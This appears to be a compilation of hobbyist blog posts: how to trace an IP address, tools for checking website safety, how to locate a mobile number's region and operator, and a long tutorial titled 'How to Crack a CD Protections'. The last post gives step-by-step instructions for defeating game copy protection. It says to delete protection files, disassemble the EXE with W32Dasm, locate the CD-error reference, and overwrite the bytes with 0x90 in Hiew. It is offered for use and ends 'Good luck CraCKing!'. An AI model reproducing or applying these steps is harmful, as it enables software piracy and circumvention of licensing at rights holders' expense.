How to Trace Any IP Address


In my earlier post I had discussed abouthow to capture the IP address of a remote computer. Once you obtain this IP address it is necessary to trace it back to it’s source. So in this post I will show you how to trace any IP address back to it’s source. In fact tracing an IP address is very simple and easy than we think. There exists many websites through which you can trace any IP address back to it’s source. One of my favorite site is ip2location.com.
Just go to http://www.ip2location.com/demo.aspx and enter the IP address that you want to trace in the dialog box and click on “Find Location”‘. With just a click of a button you can find the following information for any given IP address.
1. Country in which the IP is located
2. Region
3. City
4. Latitude/Longitude
5. Zip Code
6. Time Zone
7. Name of the ISP
8. Internet Speed
9. Weather Station
10. Area Code and
11. Domain name associated with the IP address.
A sample snapshot of the results from ip2location.com is given below
ip2location_results
You can also visually trace route any IP address back to it’s location. For this just visithttp://www.yougetsignal.com/tools/visual-tracert/ and enter the IP you want to trace in the dialog box and hit the “Proxy Trace” button. Wait for few seconds and the visual trace route tool displays the path Internet packets traverse to reach a specified destination. Hope this helps. Please pass you comments.

4 Ways to Identify Safe Websites on the Internet

On the whole Internet, there are approximately more than 150 million active websites up and running. As a result, it often becomes a real challenge for the users to identify safe websites that are trustworthy and reputed. Have you ever wondered to know the reputation of a website before placing the order? Need to know whether a given website is child safe? Well, here are some of the ways to identify safe websites on the Web.
 
1. WOT or Web Of Trust (www.mywot.com):
WOT is a great place to test the reputation of your favorite website. WOT gives real-time ratings for every website based on the feedback that it gets from millions of trustworthy users across the globe and trusted sources, such as phishing and malware blacklists. Each domain name is evaluated based on this data and ratings are applied to them accordingly. 
As shown in the above snapshot, the reputation of each website is shown in terms of 4 components where green means excellent, yellow warns users to be cautious and red indicates potential danger.
 
Trustworthiness signifies the overall safety of the website. A poor rating may indicate that the site is associated with threats like Internet scams, phishing, identity theft risks and malware. For more information on phishing, you may refer my other post on how to identify and avoid phishing scams.
 
Vendor reliability tells you whether a given site is safe for carrying out buy and sell transactions with it. An excellent rating indicates superior customer satisfaction while a poor rating indicates possible scam or bad shopping experience.
 
Privacy indicates about “to what extent the site respects the privacy of it’s users and protects their personal identity and data”.
 
Child Safety indicates whether the content of a given site is appropriate for children. Site contents like sexual material, nudity and vulgarity will have a poor Child Safety rating.
 
In most cases, the WOT ratings are found to be highly accurate. To check the reputation of any given website, just visit www.mywot.com type-in the address of your favorite website and click on “Check now”. This tool alone can tell you a lot about the reputation and safety level of a website. However, in addition to this, I am giving you another 3 handy tools to identify safe websites on the Web.
 
2. McCafee SiteAdvisor:
McCafee SiteAdvisor is a free tool that is available as a browser add-on. It adds safety ratings to your browser and search engine results. You can download it fromwww.siteadvisor.com.
 
3. StopBadware:
Using this tool, you can check whether a given site is said to have involved in malware activity in the past. To check this, go tohttp://www.stopbadware.org/home/reportsearch and enter the URL or domain name of a website and click on “Search Clearinghouse ”. If the search does not return any result, that means the site was never involved in any of the malware activity in the past.
 
4. Google Pagerank:
Google PageRank is another great tool to check the reputation and popularity of a website. The PageRank tool rates every webpage on a scale of 1 to 10 which indicates Google’s view of importance of the page. If a given website has a PageRank of less than 3, then it is said to be less popular among the other sites on the Internet.
 
However, PageRank will only tell you how much popular a given website is and has nothing to do with the safety level of a website. So, this tool alone cannot be used to evaluate a website’s safety and other factors.
 
PageRank feature is available as a part of Google Toolbar. You can install Google Toolbar from http://www.google.com/intl/en_uk/toolbar/ie/index.html.

How to Trace Mobile Numbers.


With the rapid growth of mobile phone usage in recent years, we have often observed that the mobile phone has become a part of many illegal and criminal activities. So in most cases, tracing the mobile number becomes a vital part of the investigation process. Also sometimes we just want to trace a mobile number for reasons like annoying prank calls, blackmails, unknown number in a missed call list or similar.
Even though it is not possible to trace the number back to the caller, it is possible to trace it to the location of the caller and also find the network operator. Just have a look at this page on tracing Indian mobile numbers from Wikipedia. Using the information provided on this page, it is possible to certainly trace any mobile number from India and find out the location (state/city) and network operator (mobile operator) of the caller. All you need for this is only the first 4-digit of the mobile number. In this Wiki page you will find all the mobile number series listed in a nice tabular column where they are categorized based on mobile operator and the zone (state/city). This Wiki page is updated regularly so as to provide up-to-date information on newly added mobile number series and operators. I have used this page many a time and have never been disappointed.
If you would like to use a simpler interface where in you can just enter the target mobile number and trace the desired details, you can try this link from Numbering Plans. Using this link, you can trace any number in the world.
By using the information in this article, you can only know “where” the call is from and not “who” the caller is. Only the mobile operator is able to tell you ”who” the caller is. So if you’re in an emergency and need to find out the actual person behind the call, I would recommend that you file a complaint and take the help of police. I hope this information has helped you!

"HOW TO CRACK A CD PROTECTIONS"




Full tutorial made by to Crack CD Protections:
 1). About, Programs needed & etc.
2). The easy protection.
3). Finding the right file _ and the right error.
4). Finding the right line number.
5). Editing the line.
6). Testing.
7). Quick order list.
 
Here we go (again)!
 
I: About, Programs needed & etc.

Hrp! This is written by Dwij Bhargav, a student of  “Information technology.  
Here i explains all about RiPPing except how to crack the CD 
protections& so here is the  part _. This will help you w/ the most basic system of protection, 
called C- dilla, that is the most usual one&
   The programs we will use are 2: first, and decompiler _ the files we will 
work with are in ExE format, and we need a program that will HeX them (transfer 
to 16 base, hexa, form) and locate the orders given in the code, then we will 
find the line we need and change it to remove the protection with... _ the 
second program: we need a program that will *edit* the files, and fetch the 
right line number we got using the first program& all those action are easly 
done w/ the programs: Win32Dasm (the disassembler - decompiler program, added in 
the dir [root/Win32Dasm]), and Hiew (the editing program added in the dir 
[root/Hiew]). The programs are added to the tutorial, because I_m not so sure 
you can find then on a stable location on the net, in the dir [root/programs].
II: The easy protection.

Okay! To save you from reading this entire tutorial for nothing you_re not going 
to use I made this chapter, because there is a good chance you won_t be needing 
it!     Some games comes w/ protection as a files in the [/Setup] dir (or root 
dir) called:  [00000001.TMP], [CLCD16.DLL], [CLCD32.DLL] and most important 
[CLOKSPL.EXE]... if you see any of them delete it and the protection should 
disappear (Important! delete them after making a mirror of the game on your HD, 
using the info in the next chapter) & if you are still getting an error message 
just keep on reading.
 


III: Finding the right file _ and the right error.

The files we are going to work w/ will be the main ExE of the game: you will 
find it on the CD, in a dir called [/Setup] or [/data], but the easy way to find 
it is just installing the game, and the ExE that starts the game _ will be the 
ExE we need! ... once you_ve got it make some room on your HD, because we are 
going to copy the hole CD to it& before you do that: some games have am option, 
when Installing, to Install the full game to the CD (but still needing it to 
play), use it if possible, The files you  need to copy are all the game files, 
in some games it is the root dir of the CD, in others it is the [root/data] dir& 
the worst case is when the game is inside a CAB file, then you have to use a CAB 
extractor (WinZip 8 should do the job), and if it is protected a different 
program that can compile CAB format (I_ll try to put it on the tutorial as 
well). Once you_ve done all that _ press the ExE, and if the game opens close it 
and exit the CD, then press again- you will get an error window! & usually the 
line goes like: _Error, please enter CD to run game_ or _CD error_ or _Error 
reading CD-ROM_ .. what ever error you get _ write it down and remember it, we 
are about to look for it in the ExE code, and change it!
 
 
IV: Finding the right line number.

Open the first program - Win32Dasm, by unzipping it and clicking on 
[/w32dsm89.exe], now we have to load the file we know is the main ExE of the 
game, so click on _Disassembler_ in the main menu, then _Open File to 
Disassemble..._ (Important! Make sure you got 50-100MB free on your HD) before 
then pick the file from the clone game dir you made in your HD (Important! make 
a backup of the ExE) & after you_ve success fully w8ed while the program 
disassembled the file, you will see *a lot * of gibberish& don_t worry! You 
don_t have to understand what is says (I don_t, and I_m not so sure ne1 does& 
except the programs of course) & (Important! If you can_t read and the font 
shows only numbers and bizarre letters, click on _Disassembler_ in main menu, 
then _Font&_ then _select Font_ then pick Arial or something in English) & now 
you have to find the exact line number out of the 2 million in the file that has 
the error message in it, do that by clicking the _String Data references_ 
button, from the buttons menu (under the main menu) _ the second one from the 
right (-your right)& now you get a list of all the lines in the ExE that refers 
to actions, and you have narrowed the lines from 2 million _ to 2 thousand& to 
find the error message click the first letter it started w/ (for example, if the 
message was _Error reading CD-ROM_ click  E) then search _till you find the 
error line you are looking for! & once you_ve found it& it will mark the title, 
pick the first line, and it should change color to green (that means the line 
can be edited and is important)& to be sure you have taken the right line: if 
there is a line like:
_:0044XBCK EB08    &.. (lots of spaces)  &. Jmp 0044EBD8_ or:
_:0044XBCK EB08    &.. (lots of spaces)  &. Call 0044EBD8_ or:
_:0044XBCK EB08    &.. (lots of spaces)  &. Push 0044EBD8_
you at the right line, it says the command is a function, effected by the user, 
and probably the protection we are looking for (notice the words: Jmp = Jamp, 
Call = Call, Push = Push)& now that we got the right line we have to find her 


number! That is done by looking at the bottom of the program window and in the 
line, that should look similar to this one:
_Line:*** Pg *** of *** Code Data @:0045821 @Offset 00045821h in file:***.exe_
notic the number that comes after the word _Offet_ in this line: 00045821h that 
is the line number! But notice the letter _h_ at the end of it _ you don_t need 
it, and don_t forget to remove it from the number, now _ the only thing left to 
do is changing the line and removing the protection!
 
V: Editing the line.

After writing down the line number you can minimize Win32Dasm, because for now 
we have finished using it. Open the second program: Hiew (added in the 
tutorial), this is an editor that will work bad for searching the right line, 
but will do if you know the line number and just wanna change it&
Open again the same game ExE you have processed in Win32Dasm. When you enter you 
see a lot of gibberish, that_s the code, and you need to change it to the 
decoded language& do that by pressing the F4 key and then pick the option 
_Decode_ .. heh! Alot better now... now click F5 key, to search the right line, 
you will see the line numbers at the left end of the screen is gray, enter the 
line number you got from Win32Dasm and it will jump you to the right loction in 
the file... now, this is the difficult part, not hard to do _ but hard to 
explain, near the line number (just at the right) you will see the command in 
HeX form, it should be something like  BC1BB3D2D1 that is in HeX code (base 16) 
which means a number (=byte) is represented by 2 letters/number, so that the 
group (BC1BB3D2D1) is made of 5 bytes: BC _ 1B _ B3 _ D2 _ D1 ... (10 numbers = 
5 bytes, 8 numbers = 4 bytes and so on...), we are about to change evrey byte 
from D1 or BC to 90 this is done by pressing the key F3 (activates Editing 
option) and pressing, for every byte, the number 90 (90 is the noop number, that 
will disable the action)... and in our case, the command will change from 
BC1BB3D2D1 to 9090909090 ... once it is done click the key F10 to save the 
offset, and exit.
 
VI: Testing.

Now that you have an ExE w/out the error line, activate it from the same clone 
dir of the game you made to test it, if its working _ congratulation! You have 
just cracked a CD protection! & if you are getting another error message redo 
the same steps you have do w/ the first error message (in chapters 3-5) to 
change it as well (Important! Do it on the same ExE you have edited, and backup 
this one as well) and then test it again. You might be needed to do it several 
number of times, until you are getting no error message and the game runs!
 
VII: Quick order list. 

- Start without Cd then look at the error message and write it down.
- Search the msg in Win32Dasm referance and copy nmber w/out the H at the end!.
- Open Hiew, F4 to Decode, F5 to seach the line, and change the command _ 90 for 
every 1 byte.
- F10 to save and then get out, don_t forget to test!
ENJOY IT..  N GIVE THE COMMENTS :)
 


 
Good luck CraCKing!
